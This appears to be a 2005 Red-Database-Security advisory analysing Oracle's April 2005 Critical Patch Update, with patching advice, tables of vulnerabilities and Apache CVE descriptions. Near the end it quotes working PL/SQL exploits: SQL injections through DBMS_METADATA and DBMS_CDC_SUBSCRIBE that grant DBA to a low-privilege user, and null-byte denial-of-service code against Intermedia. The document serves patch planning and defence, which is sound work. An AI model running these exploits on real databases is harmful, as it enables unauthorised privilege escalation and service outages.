Summary:
For many Oracle customers with a **secure** default Oracle database configuration **(= 8.1.7.4 or 9.2.0.5/9.2.06 WITH latest Oracle January CPU applied)** there is no need to apply this patch (immediately). You should revoke the 3 grants from PUBLIC (DBMS_CDC_{I}SUBSCRIBE, DBMS_METADATA and DBMS_CDC_PUBLISH) immediately.

Those who applied the January CPU, there is no urgency in applying the April CPU patch. What is important though that the EXEC privileges granted to PUBLIC on the following is REVOKED immediately:

DBMS_CDC_{I}SUBSCRIBE
DBMS_METADATA &
DBMS_CDC_PUBLISH

An organisation can save a great deal of resources by combining the April and July patch effort.

However, it is strongly recommended to apply the April patch if the Jan CPU was not applied

!!! On 29-april-2005 Oracle Global Product Support sent an email to all Metalink users that there is a problem with this alert and alert 65. !!!!!

Dear Oracle Customer,

You are receiving this email because our records indicated you downloaded the Critical Patch Update April 2005 (CPUApr2005) for Database Server versions 9.2.0.5 (Patch 4193299, 4195791, or 4214192) and 9.2.0.6 (Patch 4193295, 4269928, or 4213298).

A problem has been reported which causes the fixes for Oracle Security Alert 65 to be incomplete. This applies all platforms. If Oracle Security Alert 65 (Patch 2701372) was applied before CPUApr2005, no action is required. If you are not sure, or Oracle Security Alert 65 was not installed before, please download and install Security Alert 65 (Patch 2701372). Patch 2701372 is labeled for Release 9.2.0.1 and can be applied to any patchset level of the same release.

The order in which Security Alert 65 and CPUApr2005 are applied does not matter. Note that if you had already applied the patch before, re-application will show this patch as a conflict. In such case, you can abort the patch application because the required patch has already been applied.

Please accept our apologies for any inconvenience you may have experienced, and we thank you for your patience and cooperation in securing your Oracle server products.

Regards,
Oracle Global Product Support

© 2005 by Red-Database-Security GmbH

Details:
On the 12 April 2005 Oracle published the Oracle Critical Patch Update (CPU) April 2005. The Oracle Critical Patch Update April 2005 contains 89 security issues (DB01-DB24, AS01-AS18, OCS01-OCS34, APPS01-APPS05, EM01, PS01-PS08). Some of the security issues are available in different products. That's why we have only 73 different security issues.

It was announced that in April Critical Patch Update, 89 vulnerabilities were fixed. However, in reality a total of 73 vulnerabilities were fixed as some were common across products.

After reading the 14 pages of the CPU PDF[1] file and the advisories available AppSecInc the bug question for every DBA is

To patch or not to patch, that's the question.

Or

How serious are the security issues mentioned in Oracle's CPU April 2005?

Let's analyse the April CPU 2005:

There are 24 database (DB01-DB24) related security issues.

13 of these issues (DB12-DB24) are Oracle HTTP Server (OHS = Apache 1.3) related. Most DBAs do run the OHS on their server. This is clever because Oracle is too slow to fix security vulnerabilities. The oldest security issue[2] from 2002 is fixed 2005. Impressive…

Based on the Oracle published Risk Matrix (http://www.oracle.com/technology/deploy/security/pdf/cpuapr2005.pdf), 24 vulnerabilities affected the Database (DB01-DB24). Out of the 24 DB vulnerabilities, 13 (DB12 - DB24) relates to the Oracle HTTP Server (OHS or Apache 1.3). However, many DBA's don't run OHS on their Server. If so, they can be disregarded and leaves 11 DB related issues.

The following 11 database issues remain: (?) means possible

Vuln#	Database	Component	Package/Function	Vulnerability	Workaround
DB01 [3]	10g	Oracle Streams / Change Data Capture	DBMS_CDC_IPUBLISH	SQL Injection in the procedures CREATE_SCN_CHANGE_SET and ALTER_MANUALLOG_CHANGE_SOURCE	Revoke grant from public
DB02 [4] [5]	9i R2 / 10g	Oracle Streams / Change Data Capture	DBMS_CDC_SUBSCRIBE, DBMS_CDC_ISUBSCRIBE	SQL Injection in various procedures using the SUBSCRIPTION_NAME parameter	Revoke grant from public
DB03 [6]	9iR1, 9iR2,	Data Pump	SYS.DBMS_METADAT	Multiple SQL Injection in procedures	Revoke grant from

[1] http://www.oracle.com/technology/deploy/security/pdf/cpuapr2005.pdf
[2] http://cgi.nessus.org/cve.php3?cve=CVE-2002-0653
[3] http://www.appsecinc.com/resources/alerts/oracle/2005-04.html
[4] http://www.appsecinc.com/resources/alerts/oracle/2005-02.html
[5] http://www.appsecinc.com/resources/alerts/oracle/2005-05.html

© 2005 by Red-Database-Security GmbH

	10g		A	using the Object_type parameter	public
DB04 [7]	9iR2, 10g	Intermedia	ORDSYS.	Denial of Service in types ORDImage and ORDDoc	Drop user if not needed or revoke permission from public
DB05	9iR1 only	Authentification	(?)	(?)	
DB06	10g	Database SSL Library	(?)	Buffer Overflow	
DB07	8i, 9iR1, 9iR2	Oracle Internet Directory	(?)	(?)	
DB08	9iR1, 9iR2, 10g	Oracle Spatial	MDSYS.PRVT_IDX	SQL Injection	
DB09	10g	XMLDB	Bug 3669661[8] (?)	D.o.S. (?)	
DB10	9iR1	XDK	SYS_DBURIGEN	Buffer Overflow (?)	
DB11	9iR2, 10g	HTMLDB	(?)	(?)	

There is an error in the description of DB10. XMLDB does not support the secure HTTPS protocol, just the insecure HTTP.

I grouped the database issues by the database version to ease the patch/no-patch-decision.

Remember the following suggestions are only valid if your database has already the Oracle January 2005 patches applied. Alert 68 or older patches are NOT sufficient.

Oracle 8.1.7:
Only if you use OID 8.1.7 and Oracle HTTP Server you must install the patch.

DB07	Oracle Internet Directory (OID/LDAP)	

Oracle 9iR2:
Only if you Oracle Streams, Data Pump, Oracle Intermedia, OID, Oracle Spatial, Oracle XMLDB or Oracle HTTP Server you must install the patch. Revoke the public grants from DBMS_METADATA and DBMS_CDC_SUBSCRIBE in all other cases.

DB02	Oracle Streams / Change Data Capture	Exploit published
DB03	Data Pump	Exploit published
DB04	Intermedia	Exploit published
DB07	Oracle Internet Directory (OID/LDAP)	
DB08	Oracle Spatial	
DB09	XMLDB	

Oracle 10g:
Only if you make use of Oracle Streams, Data Pump, Oracle Intermedia, OID, Oracle Spatial, Oracle XMLDB or Oracle HTTP Server you must install the patch. Revoke the public grants from DBMS_METADATA, DBMS_CDC_ISUBSCRIBE and DBMS_CDC_IPUBLISH in all other cases.

DB01	Oracle Streams / Change Data	

[6] http://www.appsecinc.com/resources/alerts/oracle/2005-01.html
[7] http://www.appsecinc.com/resources/alerts/oracle/2005-01.html
[8] CPU spins http://metalink.oracle.com/metalink/plsql/showdoc?db=Bug&id=3669661

© 2005 by Red-Database-Security GmbH

	Capture	
DB02	Oracle Streams / Change Data Capture	Exploit published
DB03	Data Pump	Exploit published
DB04	Intermedia	Exploit published
DB06	Database SSL Library	
DB08	Oracle Spatial	
DB09	XMLDB	

© 2005 by Red-Database-Security GmbH

Oracle HTTP Server (aka OHS aka Oracle Apache):
DB12-DB24

Oracle published[9] that the following bugs are covered by CPU April 2005. Additional information can be found via google.

Name	CAN-2003-0460
Description	The rotatelogs program on Apache before 1.3.28, for Windows and OS/2 systems, does not properly ignore certain control characters that are received over the pipe, which could allow remote attackers to cause a denial of service.

Name	CAN-2003-0542
Description	Multiple stack-based buffer overflows in (1) mod_alias and (2) mod_rewrite for Apache before 1.3.29 allow attackers to create configuration files to cause a denial of service (crash) or execute arbitrary code via a regular expression with more than 9 captures.

Name	CAN-2003-0851
Description	OpenSSL 0.9.6k allows remote attackers to cause a denial of service (crash via large recursion) via malformed ASN.1 sequences.

Name	CAN-2003-0987
Description	mod_digest for Apache does not properly verify the nonce of a client response by using a AuthNonce secret.

Name	CAN-2004-0079
Description	The do_change_cipher_spec function in OpenSSL 0.9.6c to 0.9.6k, and 0.9.7a to 0.9.7c, allows remote attackers to cause a denial of service (crash) via a crafted SSL/TLS handshake that triggers a null dereference.

Name	CAN-2004-0081
Description	OpenSSL 0.9.6 before 0.9.6d does not properly handle unknown message types, which allows remote attackers to cause a denial of service (infinite loop), as demonstrated using the Codenomicon TLS Test Tool.

- [9] Map of Public Vulnerability to Advisory/Alert http://www.oracle.com/technology/deploy/security/pdf/public_vuln_to_advisory_mapping.html

© 2005 by Red-Database-Security GmbH

Name	CAN-2004-0174
Description	Apache before 2.0.49, when using multiple listening sockets on certain platforms, allows remote attackers to cause a denial of service (blocked new connections) via a "short-lived connection on a rarely-accessed listening socket."

Name	CAN-2004-0488
Description	Stack-based buffer overflow in the ssl_util_uuencode_binary function in ssl_util.c for Apache mod_ssl, when mod_ssl is configured to trust the issuing CA, may allow remote attackers to execute arbitrary code via a client certificate with a long subject DN.

Name	CAN-2004-0492
Description	Heap-based buffer overflow in proxy_util.c for mod_proxy in Apache 1.3.25 to 1.3.31 allows remote attackers to cause a denial of service (process crash) and possibly execute arbitrary code via a negative Content-Length HTTP header field, which causes a large amount of data to be copied.

Name	CAN-2004-0885
Description	The mod_ssl module in Apache 2.0.35 through 2.0.52, when using the "SSLCipherSuite" directive in directory or location context, allows remote clients to bypass intended restrictions by using any cipher suite that is allowed by the virtual host configuration.

Name	CAN-2004-0940
Description	Buffer overflow in the get_tag function in mod_include for Apache 1.3.x to 1.3.32 allows local users who can create SSI documents to execute arbitrary code as the apache user via SSI (XSSI) documents that trigger a length calculation error.

Name	CVE-2002-0653
Description	Off-by-one buffer overflow in rewrite_command hook for mod_ssl Apache module 2.8.9 and earlier allows local users to execute arbitrary code as the Apache server user via .htaccess files with long entries.

Name	CVE-2003-0020
Description	Apache does not filter terminal escape sequences from its error logs, which could make it easier for attackers to insert those sequences into terminal emulators containing vulnerabilities related to escape sequences.

© 2005 by Red-Database-Security GmbH

Exploit Code: *Available with comments from http://www.argeniss.com*

```
####################dbms_metadata#########################################
http://www.argeniss.com/research/OraDBMS_METADATAExploit.txt

-- First we create the function to be injected and executed as the SYS
user.
CREATE OR REPLACE  FUNCTION "SCOTT"."ATTACKER_FUNC"  return varchar2
 authid current_user as
 pragma autonomous_transaction;
BEGIN
  EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
  COMMIT;
  RETURN '';
END;
/

-- Inject the function in the vulnerable procedure
SELECT SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACKER_FUNC()||''','') FROM
dual;
/
####################dbms_metadata#########################################

####################dbms_cdc_subscribe####################################
http://www.argeniss.com/research/OraDBMS_CDC_SUBSCRIBEExploit.txt
-- First we create the function to be injected and executed as the SYS
user.
CREATE OR REPLACE  FUNCTION "SCOTT"."ATTACKER_FUNC"  return varchar2
 authid current_user as pragma autonomous_transaction;
BEGIN
  EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
  COMMIT;
  RETURN '';
END;
/

-- Inject the function in the vulnerable procedure
BEGIN

SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||SCOTT.ATTACKER_FUNC()||''
');
END;
/
####################dbms_cdc_subscribe####################################

####################Denial of Service via Intermedia######################
http://www.argeniss.com/research/OraIntermediaExploit.txt
-- Exploit 1: Explicitly setting two null bytes to localData property
DECLARE
  Image ORDSYS.ORDImage;
BEGIN
  Image := ORDSYS.ORDImage.init();
  Image.source.localData := TO_BLOB(HEXTORAW('0000'));
  Image.setProperties;
END;
/

-- Exploit 2: Loading from filesystem
DECLARE
```

```
  Image ORDSYS.ORDImage;
BEGIN
  Image := ORDSYS.ORDImage.init('file', 'MEDIA_DIR',
'file_with_two_null_bytes.jpg');
  Image.setProperties;
END;
/

-- Exploit 3: Loading from web
DECLARE
  Image ORDSYS.ORDImage;
BEGIN
  Image := ORDSYS.ORDImage.init('HTTP', 'www.someserver.com/',
   'file_with_two_null_bytes.jpg');
  Image.setProperties;
END;
/

-- Exploit 4: Explicitly setting two null bytes to localData property of
ORDDoc type.
DECLARE
  Doc ORDSYS.ORDDoc;
  R RAW(30000);
BEGIN
  Doc := ORDSYS.ORDDoc.init();
  Doc.source.localData := TO_BLOB(HEXTORAW('0000'));
  Doc.setProperties (R, FALSE);
END;
/
```

######################Denial of Service via Intermedia############################

The following are some guidelines to avoid unnecessary Oracle patches in future:

- Never use Oracle HTTP server if possible (Oracle is too slow to provide security patches)
- Only install Oracle features like Intermedia (CTXSYS), Spatial (MDSYS), XMLDB, HTMLDB if absolutely necessary

History:

- 1.00 17-April 2005 First release
- 1.01 18-April 2005 Clarification patch prerequisite
- 1.0.2 19-April 2005 Advisories from AppSecInc Inc. included
- 1.0.3 19-April 2005 Link to exploits added
- 1.0.4 20-April 2005 Additional clarification
- 1.0.5 01-May 2005 Information concerning problems with alert 65 added

References:

- Critical Patch Update - April 2005
  http://www.oracle.com/technology/deploy/security/pdf/cpuapr2005.pdf
- Map of Public Vulnerability to Advisory/Alert
  http://www.oracle.com/technology/deploy/security/pdf/public_vuln_to_advisory_mapping.html
- Common Vulnerabilities and Exposures
  http://www.cve.mitre.org
- What is sys.dbms_cdc_publish Oracle supplied procedure?
  http://metalink.oracle.com/metalink/plsql/ml2_documents.showDocument?p_database_id=FOR&p_id=478389.996
- Security advisory NGSSoftware
  http://www.ngssoftware.com/advisories/oracle-03.txt
- Denial of Service in Oracle interMedia
  http://www.appsecinc.com/resources/alerts/oracle/2005-01.html
- Multiple SQL Injection vulnerabilities in DBMS_CDC_SUBSCRIBE and DBMS_CDC_ISUBSCRIBE packages
  http://www.appsecinc.com/resources/alerts/oracle/2005-02.html
- Multiple SQL Injection vulnerabilities in DBMS_METADATA package
  http://www.appsecinc.com/resources/alerts/oracle/2005-03.html
- SQL Injection in ALTER_MANUALLOG_CHANGE_SOURCE procedure
  http://www.appsecinc.com/resources/alerts/oracle/2005-04.html
- SQL Injection in CREATE_SCN_CHANGE_SET procedure
  http://www.appsecinc.com/resources/alerts/oracle/2005-05.html
- Exploit for Denial of Service attack via Intermedia
  http://www.argeniss.com/research/OraIntermediaExploit.txt
- Exploit for SQL Injection via DMBS_CDC_SUBSCRIBE
  http://www.argeniss.com/research/OraDBMS_CDC_SUBSCRIBEExploit.txt
- Exploits for SQL Injection via DBMS_METADATA
  http://www.argeniss.com/research/OraDBMS_METADATAExploit.txt
- Secunia Advisory: Oracle Products Multiple Unspecified Vulnerabilities
  http://secunia.com/advisories/14935/

© 2005 by Red-Database-Security GmbH

Other Oracle security related documents from Red-Database-Security:

Oracle Security Whitepaper:
http://www.red-database-security.com/whitepaper/oracle_security_whitepaper.html

Hardening Oracle Application Server 9i Rel.1, 9i Rel.2 and 10g:
http://www.red-database-security.com/wp/DOAG_2004_us.pdf

Hardening Oracle DBA and Developer Workstations:
http://www.red-database-security.com/wp/hardening_admin_pc_us.pdf

Database Rootkits / Oracle Rootkits:
http://www.red-database-security.com/wp/db_rootkits_us.pdf

Google Hacking of Oracle Technologies:
http://www.red-database-security.com/wp/google_oracle_hacking_us.pdf

Yahoo Hacking of Oracle Technologies:
http://www.red-database-security.com/wp/yahoo_oracle_hacking_us.pdf

About Red-Database Security GmbH:
Red-Database-Security GmbH is a specialist in Oracle Security. We are offerings Oracle security trainings, database and application server audits, penetration tests, oracle (security) architecture reviews and software security solutions against Oracle rootkits.

Contact:
If you have questions or comments you could contact us via

info at red-database-security.com

© 2005 by Red-Database-Security GmbH